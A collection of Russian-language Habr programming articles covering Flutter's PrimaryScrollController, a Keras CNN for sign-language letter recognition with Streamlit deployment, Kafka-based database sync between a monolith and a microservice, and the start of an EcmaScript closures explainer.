/// When a [ScrollView] has [ScrollView.primary] set to true and is not given
/// an explicit [ScrollController], the [ScrollView] uses [of] to find the
/// [ScrollController] associated with its subtree.
///
/// This mechanism can be used to provide default behavior for scroll views in a
/// subtree. For example, the [Scaffold] uses this mechanism to implement the
/// scroll-to-top gesture on iOS.
///
/// Another default behavior handled by the PrimaryScrollController is default
/// [ScrollAction]s. If a ScrollAction is not handled by an otherwise focused
/// part of the application, the ScrollAction will be evaluated using the scroll
/// view associated with a PrimaryScrollController, for example, when executing
/// [Shortcuts] key events like page up and down.
///
/// See also:
/// * [ScrollAction], an [Action] that scrolls the [Scrollable] that encloses
/// the current [primaryFocus] or is attached to the PrimaryScrollController.
/// * [Shortcuts], a widget that establishes a [ShortcutManager] to be used
/// by its descendants when invoking an [Action] via a keyboard key
/// combination that maps to an [Intent].
class PrimaryScrollController extends InheritedWidget {
/// Creates a widget that associates a [ScrollController] with a subtree.
const PrimaryScrollController({
Key? key,
required ScrollController this.controller,
required Widget child,
}) : assert(controller != null),
super(key: key, child: child);
```
`PrimaryScrollController` – это не `ScrollController`, как могло показаться из названия. Это виджет, который держит `ScrollController`, отвечающий за primary скролл в приложении.
Возникают три вопроса:
1. Почему по умолчанию все работает?
2. Откуда берется PrimaryScrollController?
3. Будет ли это тап в статус бар работать, если у нас будет несколько вложенных `Scaffold`?
#### Почему по умолчанию все работает?
Заглянем в класс [ScrollView](https://github.com/flutter/flutter/blob/master/packages/flutter/lib/src/widgets/scroll_view.dart):
```
final ScrollController? scrollController =
primary ? PrimaryScrollController.of(context) : controller
```
В случае, если установлен флаг `primary`, то будет использован `PrimaryScrollController` – тем самым виджет начнет реагировать на события тапа в статус бар.
Что за флаг `primary`? Смотрим документацию:
```
/// Also when true, the scroll view is used for default [ScrollAction]s. If a
/// ScrollAction is not handled by an otherwise focused part of the application,
/// the ScrollAction will be evaluated using this scroll view, for example,
/// when executing [Shortcuts] key events like page up and down.
///
/// On iOS, this also identifies the scroll view that will scroll to top in
/// response to a tap in the status bar.
/// {@endtemplate}
///
```
Флаг `primary` позволяет нам пометить `ScrollView` в качестве дефолтного обработчика события тапа в статус бар. Окей. Но мы не выставляли это значение. Какое значение установлено по умолчанию?
```
/// Defaults to true when [scrollDirection] is [Axis.vertical] and
/// [controller] is null.
final bool primary;
```
Если мы явно не указали значение `primary`, то флаг будет выставлен в `true`, если ориентация списка вертикальная и `controller == null`. В нашем случае получаем значение `false`.
```
primary = primary ?? controller == null && identical(scrollDirection, Axis.vertical),
```
### Откуда берется PrimaryScrollController
Запускаем дебагер и смотрим в метод `static ScrollController? of(BuildContext context)` класса [PrimaryScrollController](https://github.com/flutter/flutter/blob/master/packages/flutter/lib/src/widgets/primary_scroll_controller.dart). Он находит `PrimaryScrollController` из `routes`(смотреть в значение `_location`):
Как именно происходит поиск виджета при помощи `dependOnInheritedWidgetOfExactType` , объясняет вот это [видео](https://www.youtube.com/watch?v=Zbm3hjPjQMk&ab_channel=GoogleDevelopers). Если коротко: метод `dependOnInheritedWidgetOfExactType` позволяет пройтись вверх по дереву виджетов и найти ближайший виджет с определенным типом.
Если выше по контексту главного `Scaffold` нет другого `PrimaryScrollController`, то мы всегда придем к `PrimaryScrollController` из [routes.dart:](https://github.com/flutter/flutter/blob/master/packages/flutter/lib/src/widgets/routes.dart)
```
//...
@override
Widget build(BuildContext context) {
return AnimatedBuilder(
animation: widget.route.restorationScopeId,
builder: (BuildContext context, Widget? child) {
assert(child != null);
return RestorationScope(
restorationId: widget.route.restorationScopeId.value,
child: child!,
);
},
child: _ModalScopeStatus(
route: widget.route,
isCurrent: widget.route.isCurrent, // _routeSetState is called if this updates
canPop: widget.route.canPop, // _routeSetState is called if this updates
child: Offstage(
offstage: widget.route.offstage, // _routeSetState is called if this updates
child: PageStorage(
bucket: widget.route._storageBucket, // immutable
child: Builder(
builder: (BuildContext context) {
return Actions(
actions: >{
DismissIntent: \_DismissModalAction(context),
},
child: PrimaryScrollController( //<- Вот это место
//...
```
Как же нам тогда сохранить возможность скролла при тапе и при этом использовать свой контроллер? Нам нужно создать свой `PrimaryScrollController` над `Scaffold`, который будет реагировать на события скролла при тапе в статус бар:
```
@override
Widget build(BuildContext context) {
return PrimaryScrollController(
controller: _scrollController,
child: Scaffold(
body: _list(),
appBar: AppBar(title: const Text('Scroll to top')),
),
);
}
```
Снова запустим дебагер. Действительно, в этом случае мы находим наш `PrimaryScrollController`:
### Будет ли этот тап в статус бар работать, если у нас будет несколько вложенных Scaffold?
Возьмем типичный пример с экраном на котором несколько табов:
```
import 'package:example/content_page.dart';
import 'package:flutter/material.dart';
class HomePage extends StatefulWidget {
const HomePage({Key? key}) : super(key: key);
@override
State createState() => \_HomePageState();
}
class \_HomePageState extends State {
int \_currentIndex = 0;
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(title: const Text('Scroll to top')),
body: IndexedStack(
index: \_currentIndex,
children: const [
ContentPage(backgroundColor: Colors.white),
ContentPage(backgroundColor: Colors.deepOrange),
ContentPage(backgroundColor: Colors.green),
],
),
bottomNavigationBar: BottomNavigationBar(
onTap: \_onTabTapped,
currentIndex: \_currentIndex,
items: const [
BottomNavigationBarItem(icon: Icon(Icons.home), label: 'Home'),
BottomNavigationBarItem(icon: Icon(Icons.mail), label: 'Messages'),
BottomNavigationBarItem(icon: Icon(Icons.person), label: 'Profile')
],
),
);
}
void \_onTabTapped(int index) {
setState(() {
\_currentIndex = index;
});
}
}
```
В виджетах экранов будем использовать `PrimaryScrollController` :
```
...
Widget _list() {
return ScrollsToTop(
onScrollsToTop: _onScrollsToTop,
child: ListView.builder(
itemBuilder: _itemBuilder,
itemCount: 100,
controller: _scrollController,
),
);
}
...
```
Тап в статус бар перестал работать. Все потому, что под статус баром у нас находится самый первый `Scaffold`, и он будет реагировать на события. Виджеты экранов располагаются ниже и уже не будут реагировать на тап. Что делать?
Я вижу два основных решения:
1. заворачивать главный `Scaffold` в `PrimaryScrollController` и передавать события в нужный таб;
2. в виджетах табов регистрировать свой лисенер скроллов для `PrimaryScrollController` из `routes.dart`
Второй вариант более гибкий, давайте его и сделаем. Для начала создадим `ScrollContext` (это абстрактный класс для работы со `ScrollPosition`), который сможет слушать события animateTo:
```
class _FakeScrollPositionWithSingleContext
extends ScrollPositionWithSingleContext {
_FakeScrollPositionWithSingleContext({
required BuildContext context,
required ScrollsToTopCallback callback,
}) : _callback = callback,
super(
physics: const NeverScrollableScrollPhysics(),
context: _FakeScrollContext(context),
);
final ScrollsToTopCallback _callback;
@override
Future animateTo(
double to, {
required Duration duration,
required Curve curve,
}) {
return \_callback(
ScrollsToTopEvent(to, duration: duration, curve: curve),
);
}
}
```
Далее нам нужно найти `PrimaryScrollController` и добавить в него свой лисенер. У `ScrollController` есть метод `attach`:
```
void _attach(BuildContext context) {
final primaryScrollController = PrimaryScrollController.of(context);
if (primaryScrollController == null) return;
final scrollPositionWithSingleContext =
_FakeScrollPositionWithSingleContext(
context: context,
callback: widget.onScrollsToTop,
);
primaryScrollController.attach(scrollPositionWithSingleContext);
_primaryScrollController = primaryScrollController;
_scrollPositionWithSingleContext = scrollPositionWithSingleContext;
}
```
И завернем написанный код в виджет:
```
/// Widget for catch scrolls-to-top event
class ScrollsToTop extends StatefulWidget {
/// Creates new ScrollsToTop widget
const ScrollsToTop({
Key? key,
required this.child,
required this.onScrollsToTop,
}) : super(key: key);
/// Any child widget
final Widget child;
/// Callback for handle scrolls-to-top event
final ScrollsToTopCallback onScrollsToTop;
@override
State createState() => \_ScrollsToTopState();
}
```
Теперь мы можем оборачивать любой виджет в `ScrollsToTop` и реагировать на тапы в любом месте, где нам это нужно. Пример использования можно посмотреть [тут](https://github.com/optimist-dev/scrolls_to_top/tree/main/example).
Важное замечание: `PrimaryScrollController` может быть использован и другими участками кода, несвязанными с тапом в статус бар. Например, при клике page up / page down.
Весь написанный код я выделил в пакет и опубликовал в [pub](https://pub.dev/packages/scrolls_to_top). Буду очень рад пул реквестам.
Как такой подход работает в реальном приложении, вы можете увидеть в приложении: Memo доступно под [iOS](https://apps.apple.com/ru/app/memo-%D0%B0%D0%BD%D0%B3%D0%BB%D0%B8%D0%B9%D1%81%D0%BA%D0%B8%D0%B9-%D0%BF%D0%BE-%D0%BC%D0%B5%D0%BC%D0%B0%D0%BC-gif/id1546558413?ref=pikabu.ru) и [Android](https://play.google.com/store/apps/details?id=dev.optimist.worddaily)
Чао!
 | https://habr.com/ru/post/566080/ | null | ru | null |
# Распознавание языка жестов с помощью глубокого обучения
Полный процесс разработки, включая построение модели, оптимизацию гиперпараметров и развертывание
-------------------------------------------------------------------------------------------------
###
Источник: MNIST-датасет языка жестов от Kaggle.Вы можете посмотреть на модель, которую мы собираемся построить, [здесь](https://sathwick-reddy-m-sign-language-to-text-web-app-6j4rww.streamlitapp.com/).
Детальнее изучить код и модели, использованные в этой статье, вы можете, проследовав в этот [репозиторий на GitHub](https://github.com/Sathwick-Reddy-M/Sign-Language-Recognition).
Отлично. Теперь давайте приступим к построению модели сверточной нейронной сети, которая преобразует язык жестов в английский алфавит.
Понимание проблемы
------------------
### Постановка задачи
***Преобразование языка жестов в текст*** можно свести к задаче предсказания английской буквы, соответствующей репрезентации в языке жестов.
### Данные
Мы будем использовать [MNIST-датасет языка жестов](https://www.kaggle.com/datasets/datamunge/sign-language-mnist) от Kaggle, который распространяется под лицензией [CC0: Public Domain](https://creativecommons.org/publicdomain/zero/1.0/).
Пара слов об этом наборе данных:
1. Для букв J и Z нет репрезентаций (Причина: жесты J и Z используют движения).
2. Изображения черно-белые.
3. Значения пикселей лежат в диапазоне от 0 до 255.
4. Каждое изображение содержит 784 пикселя.
5. Метки кодируются цифрами, которые варьируются от 0 до 25 в соответствии от A до Z.
6. Данные содержат обучающий и тестовый наборы, каждая группа которых включает в себя изображения, содержащие 784 пикселя и соответствующую метку.
### Метрика оценки
В качестве метрики оценки мы будем использовать точность. Точность – это отношение правильно классифицированных экземпляров к их общему количеству.
### Моделирование
Сверточная нейронная сеть (изображение автора).1. Сверточные нейронные сети — лучший выбор для задачи классификации изображений.
2. Сверточная нейронная сеть (Convolutional Neural Network - CNN) — это искусственная нейронная сеть, состоящая из сверточных слоев.
3. Сверточные нейронные сети очень хорошо показывают себя в работе с изображениями. Главное отличие сверточных (convolutional) слоев от полносвязных (dense) слоев, заключается в том, что в них каждый нейрон связан только с определенным набором нейронов из предыдущего слоя.
4. Каждый сверточный слой содержит набор фильтров(filters)/ядер(kernels)/карт признаков(feature maps), которые помогают идентифицировать различные паттерны на изображении.
5. Чем больше слоев проходит изображение, тем сложнее паттерны, которые могут определять сверточные нейронные сети.
6. Еще одно преимущество использования сверточных нейронных сетей в противовес типичным полносвязным, заключается в том, что, изучив паттерн в определенной части изображения, они могут идентифицировать его в любом другом месте.
Разработка базовой модели
-------------------------
### Импорт необходимых модулей и пакетов
Необходимые нам импорты:
```
from sklearn.preprocessing import LabelBinarizer
from tensorflow import keras
from keras.utils import plot_model
import tensorflow as tf
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import pickle
```
### Подготовка данных
Считаем CSV-файл (*sign\_mnist\_train.csv*) с помощью pandas и перетасуем все обучающие данные.
Разделение пикселей и меток изображений позволит нам задействовать методы предварительной обработки (preprocessing) категориальных признаков.
Подготовка данных:
```
train_df = pd.read_csv('data/alphabet/sign_mnist_train.csv')
train_df = train_df.sample(frac=1, random_state=42)
X, y = train_df.drop('label', axis=1), train_df['label']
```
### Нормализация и группировка в батчи
Нормализация входных данных очень важна, особенно при использовании градиентного спуска, который на нормализованных данных с большей вероятностью будет сходиться быстрее.
Группировка обучающих данных в батчи также сокращает время, необходимое для обучения модели.
Нормализация и группировка в батчи:
```
X = X/255.0
X = tf.reshape(X, [-1, 28, 28, 1])
```
Ниже приведен пример изображения из обучающей выборки после предварительной обработки:
Предварительно обработанное изображение (изображение автора).
### Бинаризация меток
LabelBinarizer (изображение автора).`LabelBinarizer` из библиотеки Scikit-Learn бинаризирует метки по принципу one-vs-all (или one-vs-rest) и возвращает унитарно закодированный (one-hot) вектор.
Бинаризация меток:
```
label_binarizer = LabelBinarizer()
y = label_binarizer.fit_transform(y)
```
### Отделение данных для валидации
Валидационные (проверочные) данные помогут нам с выбором лучшей модели. Если мы используем вместо них данные из тестового набора, то в результате выберем модель, которая будет слишком оптимистична для наших тестовых данных.
Разделение данных:
```
X_train, X_valid = X[:25000], X[25000:]
y_train, y_valid = y[:25000], y[25000:]
```
### Построение модели
Ниже мы займемся определением модели сверточной нейронной сети.
Для того, чтобы построить сверточную нейронную сеть, нам будет необходимо выбрать несколько типовых элементов:
1. Выберите набор сверточных и пулинговых слоев.
2. Увеличьте количество нейронов в более глубоких сверточных слоях.
3. Добавьте набор полносвязных слоев после сверточных и пулинговых слоев.
Сверточная нейронная сеть:
```
model = keras.models.Sequential()
model.add(keras.layers.Conv2D(32, (5, 5), padding='same', activation='relu', input_shape=(28, 28, 1)))
model.add(keras.layers.MaxPooling2D(pool_size=(2, 2)))
model.add(keras.layers.Conv2D(64, (5, 5), padding='same', activation='relu'))
model.add(keras.layers.MaxPooling2D(pool_size=(2, 2)))
model.add(keras.layers.Conv2D(128, (5, 5), padding='same', activation='relu'))
model.add(keras.layers.MaxPooling2D(pool_size=(2, 2)))
model.add(keras.layers.Flatten())
model.add(keras.layers.Dense(128, activation='relu'))
model.add(keras.layers.Dense(24, activation='softmax'))
```
Архитектура модели (изображение автора).Теперь нам необходимо определить ключевые элементы в рамках построения модели:
1. `loss` — Определяет функцию потерь, которую мы стремимся минимизировать. Поскольку наши метки приведены к унитарному виду, мы можем выбрать в качестве функции потерь ***категориальную перекрестную энтропию*** (categorical cross entropy).
2. `optimizer` — Этот алгоритм находит лучшие веса, которые минимизируют функцию потерь. **Adam** — один из таких алгоритмов, который хорошо работает в большинстве случаев.
Мы можем указать любые метрики, которые будут задействованы в оценке нашей модели. Для построения нашей модели, мы выбрали точность (accuracy).
Определение функции потерь, оптимизатора и метрик:
```
model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])
```
### Контрольные точки
`ModelCheckpoint` — Сохраняет лучшую модель, найденную в процессе обучения в каждую эпоху, проверяя показатели модели на проверочных данных.
`EarlyStopping` — Прерывает обучение, когда на протяжении указанного количества эпох перестает наблюдаться прогресс.
Контрольные точки:
```
save_best_cb = keras.callbacks.ModelCheckpoint('models/initial-end-to-end', save_best_only = True)
early_stopping_cb = keras.callbacks.EarlyStopping(patience = 5)
```
### Поиск паттернов
Подгонка данных:
```
history = model.fit(X_train, y_train, epochs=20, validation_data=(X_valid, y_valid), callbacks=[save_best_cb, early_stopping_cb])
```
### Анализ обучения модели
Объект history содержит сведения о функции потерь и указанных метриках, полученные во время обучения модели. Эту информацию можно использовать для формирования кривых обучения и доступа к процессу обучения и показателям модели в каждую эпоху.
Сохранение истории:
```
with open('models/intial-end-to-end-history', 'wb') as history_file:
pickle.dump(history.history, history_file)
```
Для получения более подробной информации о кривых обучения, полученных во время процесса обучения, вы можете перейдя по [этой ссылке](https://github.com/Sathwick-Reddy-M/sign-language-to-text/blob/main/sign-language-recognition.ipynb).
### Лучшая модель
Теперь нам нужно извлечь лучшую модель, полученную во время обучения, поскольку модель, сформированная в конце обучения, не обязательно будет самой лучшей.
Лучшая модель:
```
best_model = keras.models.load_model('models/initial-end-to-end')
```
### Показатели на тестовом наборе
Запуск на тестовом наборе:
```
def evaluate_model(model, X_test, y_test, label_binarizer):
X_test_reshape = tf.reshape(X_test, [-1, 28, 28, 1])
y_test_labels = label_binarizer.transform(y_test)
results = model.evaluate(X_test_reshape, y_test_labels)
print(f'Loss: {results[0]:.3f} Accuracy: {results[1]:.3f}')
results = evaluate_model(best_model, test_df.drop('label', axis=1), test_df['label'], label_binarizer)
```
Точность: 94%
---
Оптимизация гиперпараметров
---------------------------
**Весь код и полученные модели с оптимизированными гиперпараметрами можно найти** [**здесь**](https://github.com/Sathwick-Reddy-M/sign-language-to-text/blob/main/sign-language-recognition.ipynb)**.**
Когда дело доходит до оптимизации гиперпараметров, существует целая куча вариантов, как мы можем поднастроить нашу сверточную нейронную сеть. Некоторые из наиболее важных и распространенных гиперпараметров, которые необходимо оптимизировать, включают:
### Количество сверточных и пулинговых пар
Этот гиперпараметр определяет количество `Conv2D` и `MaxPooling2D` пар, которые мы объединяем вместе в рамках нашей сверточной нейронной сети.
По мере того, как мы наслаиваем все больше пар, сеть становится все глубже и глубже, увеличивая способность модели идентифицировать более сложные паттерны изображений.
Но наложение слишком большого количества слоев отрицательно сказывается на показателях модели (размеры входного изображения начинают быстро уменьшаться по мере того, как оно углубляется в нейронную сеть), а также увеличивает время, необходимое на обучение, поскольку количество обучаемых параметров модели резко возрастает.
### Фильтры
Фильтры определяют количество выходных карт признаков. Матричный фильтр как раз и представляет из себя операцию свертки, которая позволяет находить одни и те же паттерны в разных частях изображения. В большинстве случаев увеличение количества фильтров в последовательных слоях дает хорошие результаты.
### Размер фильтра
В качестве размера фильтра принято брать нечетные числа, чтобы мы могли получить центральную позицию. Одна из основных проблем с фильтрами четного размера заключается в том, что они требуют асимметричного заполнения.
Вместо использования одного сверточного слоя, состоящего из фильтров большего размера, например (7x7, 9x9), мы можем использовать несколько сверточных слоев с фильтрами меньшего размера, что, скорее всего, улучшит показатели модели, поскольку более глубокие сети могут обнаруживать более сложные паттерны.
### Дропаут
Дропаут (прореживание или исключение) служит в качестве регуляризатора и предотвращает переобучение модели. Дропаут-слой сводит на нет вклад одних нейронов в следующий слой и оставляет другие без изменений. Коэффициент дропаута определяет вероятность того, что вклад конкретного нейрона будет отменен.
На ранних эпохах мы можем столкнуться с тем, что потери при обучении будут больше, чем потери при валидации, поскольку некоторые нейроны могут быть отброшены во время обучения, а при валидации используется полная сеть со всеми нейронами.
### Расширение данных
Расширение данных (изображение автора).С помощью расширения данных (data augmentation) мы можем создавать слегка измененные копии имеющихся изображений и использовать их для модели обучения. Такие изображения с измененной ориентацией помогают модели идентифицировать объекты с разной ориентацией.
Например, мы можем ввести небольшой поворот, масштабирование и смещение изображений.
Расширение данных:
```
data_augmentation = keras.models.Sequential()
data_augmentation.add(keras.layers.RandomRotation(0.1, fill_mode='nearest', input_shape=(28, 28, 1)))
data_augmentation.add(keras.layers.RandomZoom((0.15, 0.2), fill_mode='nearest'))
data_augmentation.add(keras.layers.RandomTranslation(0.1, 0.1, fill_mode='nearest'))
```
Другие гиперпараметры, которые вы можете попробовать:
1. Батч-нормализация — нормализует входные данные.
2. Глубина нейронной сети — например, замена одного сверточного слоя с размером фильтра (5X5) двумя последовательными слоями с размером фильтра (3X3).
3. Размерность полносвязных слоев и само их количество.
4. Замена MaxPooling-слоя сверточным слоем сстрайдом > 1
5. Оптимизаторы
6. Скорость обучения оптимизатора
### Оценка итоговой модели
Лучшая модель после оптимизации гиперпараметров (изображение Sathwick).Оценка модели:
```
def evaluate_model(model, X_test, y_test, label_binarizer):
# label_binarizer: Used while preprocessing the train data
X_test_reshape = tf.reshape(X_test, [-1, 28, 28, 1])
y_test_labels = label_binarizer.transform(y_test)
results = model.evaluate(X_test_reshape, y_test_labels)
print(f'Loss: {results[0]:.3f} Accuracy: {results[1]:.3f}')
best_model = keras.models.load_model('models/experiment-dropout-0/')
evaluate_model(best_model, X_test, y_test, label_binarizer)
```
Точность: 96%
Развертывание модели в Streamlit
--------------------------------
Streamlit — это фантастическая платформа, которая избавляет от всех хлопот, связанных с ручным развертыванием.
Со Streamlit все, что от нас требуется, — это GitHub-репозиторий, содержащий скрипт Python, который определяет структуру приложения.
### Установка
Вы можете установить библиотеку Streamlit с помощью приведенной ниже команды:
```
pip install streamlit
```
Чтобы запустить Streamlit-приложение, используйте `streamlit run .py`
### Сборка приложения
Полный код Streamlit-приложения можно найти [здесь](https://github.com/Sathwick-Reddy-M/sign-language-to-text/blob/main/web_app.py).
Чтобы преобразовать вывод модели обратно в соответствующие метки, нам понадобится наилучшая модель, полученная после оптимизации гиперпараметров, и `LabelBinarizer`.
```
@st.cache(allow_output_mutation=True)
def get_best_model():
best_model = keras.models.load_model('models/experiment-dropout-0')
return best_model
@st.cache
def get_label_binarizer():
train_df = pd.read_csv('data/alphabet/sign_mnist_train.csv')
y = train_df['label']
label_binarizer = LabelBinarizer()
y = label_binarizer.fit_transform(y)
return label_binarizer
best_model = get_best_model()
label_binarizer = get_label_binarizer()
```
Декоратор `@st.cache` запускает функцию только один раз, предотвращая излишние перезапуски при повторном отображении страницы.
### Прогноз модели
Мы должны переформатировать загруженное изображение в 28x28, так как это разрешение для входных данных нашей модели. Мы также должны сохранить соотношение сторон загруженного изображения.
Затем мы можем использовать предварительно обработанное изображение в качестве входных данных модели и получить соответствующий прогноз, который можно с помощью `label_binarizer` преобразовать обратно в метку, представляющую английскую букву английского алфавита.
```
def preprocess_image(image, image_file, best_model, label_binarizer):
image = tf.reshape(image, [image.shape[0], image.shape[1], 1])
image = image/255
image = tf.image.resize(image, [28, 28], preserve_aspect_ratio=True)
preprocessed_image = np.ones((1, 28, 28, 1))
preprocessed_image[0, :image.shape[0], :image.shape[1], :] = image
prediction = best_model.predict(preprocessed_image)
index_to_letter_map = {i:chr(ord('a') + i) for i in range(26)}
letter = index_to_letter_map[label_binarizer.inverse_transform(prediction)[0]]
return letter
```
Предварительная обработка и прогнозирование.
### Развертывание приложения в облаке Streamlit
1. Зарегистрируйте Streamlit-аккаунт [здесь](https://streamlit.io/).
2. Подключите свой GitHub-аккаунт к своему Streamlit-аккаунту, предоставив все необходимые разрешения для доступа к вашим репозиториям.
3. Убедитесь, что репозиторий содержит файл requirements.txt, в котором указаны все зависимости приложения.
4. Нажмите на кнопку “New App” [здесь](https://share.streamlit.io/).
5. Предоставьте данные о репозитории, имени ветки и скрипта Python, который содержит структуру нашего приложения.
6. Нажмите кнопку “Deploy”.
Теперь ваше приложение будет развернуто в интернете и будет обновляться всякий раз, когда вы обновляете репозиторий.
Заключение
----------
В этом туториале мы разобрали следующее:
1. Процесс разработки решения с использованием глубокого обучения для решения данной задачи;
2. Предварительная обработка изображений;
3. Обучение сверточной нейронной сети;
4. Оценка модели;
5. Оптимизация гиперпараметров;
6. Развертывание.
Обратите внимание, что в этом туториале мы лишь кратко коснулись полного процесса разработки решения с использованием методов глубокого обучения. На практике этот процесс состоит из огромного количества тренировок, поиска гораздо более широкого диапазона гиперпараметров и показателей оценки, специфичных для конкретной задачи. Чтобы выстроить процесс решения сложных задач требуется более глубокое понимание модели, данных и широкого набора методов предварительной обработки изображений.
Модель можно найти [здесь](https://sathwick-reddy-m-sign-language-to-text-web-app-6j4rww.streamlitapp.com/).
Дополнительные сведения о коде или моделях, использованных в этой статье, смотрите в этом [GitHub-репозитории](https://github.com/Sathwick-Reddy-M/Sign-Language-Recognition).
---
> Приглашаем на открытое занятие **«Пишем первую нейронную сеть»**. Рассмотрим основные этапы создания и обучения своей первой нейронной сети, и попробуем решить известную задачу классификации MNIST полносвязной и сверточной нейронными сетями на примере фреймворка PyTorch. Регистрация [**по ссылке.**](https://otus.pw/aOge/)
>
> | https://habr.com/ru/post/686428/ | null | ru | null |
# Синхронизация баз данных между монолитом и микросервисами с помощью Kafka. Наше решение
В этой статье я расскажу про готовое решение для поддержки консистентности данных между растущей микросервисной и унаследованной архитектурой. Под катом код для репликации двух баз данных с проверкой синхронизации, который может пригодиться для решения аналогичных задач.
С проблемой консистентности данных мы столкнулись при разработке микросервиса под названием Profile. Он отвечает за регистрацию новых пользователей, хранение данных о них и синхронизируется с монолитной базой. Именно в синхронизации двух баз оказалось несколько проблем.
Синхронизация данных
--------------------
Чтобы система работала стабильно, когда данные меняются в одной базе данных, изменения должны автоматически отразиться на другой. Для этого мы создали очередь из таких изменений в Kafka.
Мы начали работу с таблицы студентов. К базовым колонкам с именами, фамилиями и классами добавили дополнительные — revision и foreign\_revision — для работы с очередью. Теперь при добавлении или изменении данных вызывается триггер в постгресе, который записывает в поле revision текущее время с точностью до миллисекунды. Привожу код добавления колонок и триггера:
```
ALTER TABLE "students" ADD "revision" timestamp(6)
ALTER TABLE "students" ALTER COLUMN "revision" SET DEFAULT timezone('utc', now());
ALTER TABLE "students" ADD "foreign_revision" timestamp(6)
CREATE OR REPLACE FUNCTION increase_revision() RETURNS trigger AS $$
BEGIN
NEW.revision := timezone('utc', now());
RETURN NEW;
END
$$ LANGUAGE PLPGSQL;
CREATE TRIGGER update_revision
BEFORE UPDATE ON students
FOR EACH ROW
WHEN (old.foreign_revision is not distinct FROM new.foreign_revision and
row_to_json(old)::jsonb - 'revision' is distinct FROM row_to_json(new)::jsonb - 'revision')
EXECUTE PROCEDURE increase_revision();
```
После добавления студента или изменения его персональных данных формируем и отправляем сообщение в Kafka. Однако если отправить такие сообщения до закрытия транзакции, база пострадает: закончатся коннекты, из-за ошибки сети транзакция откатится. Чтобы этого не происходило, в модели мы использовали after\_commit:
```
after_commit :push_to_exchange, on: [:create, :update]
```
Сервис Profile подписан на общую очередь в Kafka и либо обновляет существующую запись в таблице, либо добавляет новую.
```
class StudentConsumer
def consume(payload, metadata)
if record = Student.where(id: payload.id).first
record.update!(params(payload))
else
Student.create!(params(payload))
end
end
def params(payload)
hash = payload.to_h
hash[:foreign_revision] = hash[:revision]
hash.slice(*Student.column_names.map(&:to_sym))
end
end
```
Таким образом мы добились того, что данные консистентны в двух разных базах. Процесс состоит из четырех шагов:
* Добавляем или обновляем студента в монолите.
* Триггер проставляет текущее время в поле revision.
* Отправляем сообщение в Kafka.
* Получаем сообщение и сохраняем данные о студенте в базе сервиса Profile.
Этот алгоритм работает хорошо, пока не возникнут проблемы: упадет сеть, появятся массовые изменения через update\_all или единичные — через update\_column, Kafka не будет работать или будет работать медленно.
Чтобы все это не влияло на процесс синхронизации, монолит также подписан на эту очередь и записывает в поле foreign\_revision ревизию, которую прочитал из Kafka:
```
class StudentConsumer
def consume(payload, metadata)
Student.where(id: payload.id).update_all(foreign_revision: payload.revision)
end
end
```
Каждые пять минут в монолите запускается воркер, который находит все строки, у которых поля ревизий не совпадают, и заново досылает их в Kafka:
```
module Profile::SyncShareable
def run
Student.where("foreign_revision is null or revision != foreign_revision").
where("revision < ?", Time.now - 1.minute).
order(revision: :desc).
limit(5000).
each(&:push_to_exchange)
end
end
```
Для ускорения этого процесса нужен условный индекс. Он будет маленького размера, потому что у большинства записей ревизии будут совпадать:
```
CREATE INDEX "index_studends_on_revision" ON "students" ("revision") WHERE revision <> foreign_revision
```
Таким образом актуальная информация о всех студентах стала доступна для чтения в сервисе Profile. Однако для изменения данных мы были вынуждены ходить в API монолита.
Чтобы вносить изменения прямо в Profile, мы задумались о двусторонней синхронизации.
Двусторонняя синхронизация
--------------------------
Двустороннюю синхронизацию можно обеспечить, если зеркально повторить весь предыдущий код в сервисе Profile. Но придется решить несколько проблем.
### 1. Генерация уникального идентификатора
Мы не можем создать нового студента в Profile, если в монолите использован числовой ID. Решит проблему переход на строчный UUID вместо числового инкремента.
### 2. Синхронизация занимает существенное время
Проблема заключается в том, что данные могут обновляться в двух местах сразу. Например, если в 48 секунд произошло изменение имени в монолите, а в 49 секунд — фамилии в Profile. Теоретически это возможно при исправлениях, дополнениях, автоматической коррекции. Обмен сообщениями через Kafka может занимать дольше трех секунд, и в таком случае изменение имени потеряется из-за более новой версии данных с обновленной фамилией.
Чтобы при двусторонней синхронизации такого не происходило, можно заменить Kafka на что-то более быстрое, например, на RabbitMQ. Но в Kafka хранится журнал транзакций, и мы можем вернуться, проанализировать нашу синхронизацию, в случае аварии проработать транзакции заново. К тому же он умеет работать с двумя разными ЦОД. Для нас это было важно, и мы остались с Kafka. Хотя для кого-то, возможно, актуальнее будет быстрый Rabbit, в котором синхронизация происходит за миллисекунды, а количество воркеров можно регулировать динамически.
### 3. Асинхронная синхронизация
Когда мы пишем изменения в Profile, нет гарантии, что прочитаем их в монолите, — данные синхронизируются с задержкой. Это надо учитывать, когда разные части приложения написаны поверх разных сервисов. В таких местах приходится отказываться от двусторонней синхронизации и переходить на синхронное взаимодействие через REST API или gRPC.
Таким образом мы можем распределить нагрузку между монолитом и отдельным сервисом, улучшить кодовую базу, делать деплой этого сервиса независимо от монолита.
UPD: архитектура решения примерно такая.
\*\*\*
Как вы решали проблему консистентности данных в микросервисной архитектуре? Какой опыт бесшовного распиливания монолита у вас был? | https://habr.com/ru/post/544854/ | null | ru | null |
# Лексическое окружение (LexicalEnvironment) и Замыкание (Closures) в EcmaScript
Привет, Хабр!
Давно ничего не писал, большая загруженность на проекте крайние несколько недель, но сейчас появилось свободное время, поэтому решил представить вашему вниманию новую статью.
Сегодня мы продолжим разбирать ключевые концепции EcmaScript, поговорим о Лексическом окружении и Замыкании. Понимание концепции Лексического окружения очень важно для понимания замыкания, а замыкание это основа очень многих хороших техник и технологий в мире JS (который основан на спецификации EcmaScript).
Итак, начнём.
Лексическое окружение (LexicalEnvironment, ЛО, LE)
--------------------------------------------------
Официальная спецификация ES6 определяет этот термин как:
> **Lexical Environment** — это тип спецификации, используемый для разрешения имён идентификаторов при поиске конкретных переменных и функций на основе лексической структуры вложенности кода ECMAScript. Лексическая окружение (Lexical Environment) состоит из записи среды и, возможно, нулевой ссылки на внешнюю Лексическую среду.
>
>
Разберёмся подробнее.
Я представлю себе лексическое окружение как некую структуру, которая хранит связь идентификаторов контекста с их значением. Это своего рода хранилище переменных, функций, классов, объявленных в области видимости данного контекста.
Технически ЛО представляет собой объект с двумя свойствами:
* запись окружения (именно тут хранятся все объявления)
* ссылка на ЛО порождающего контекста.
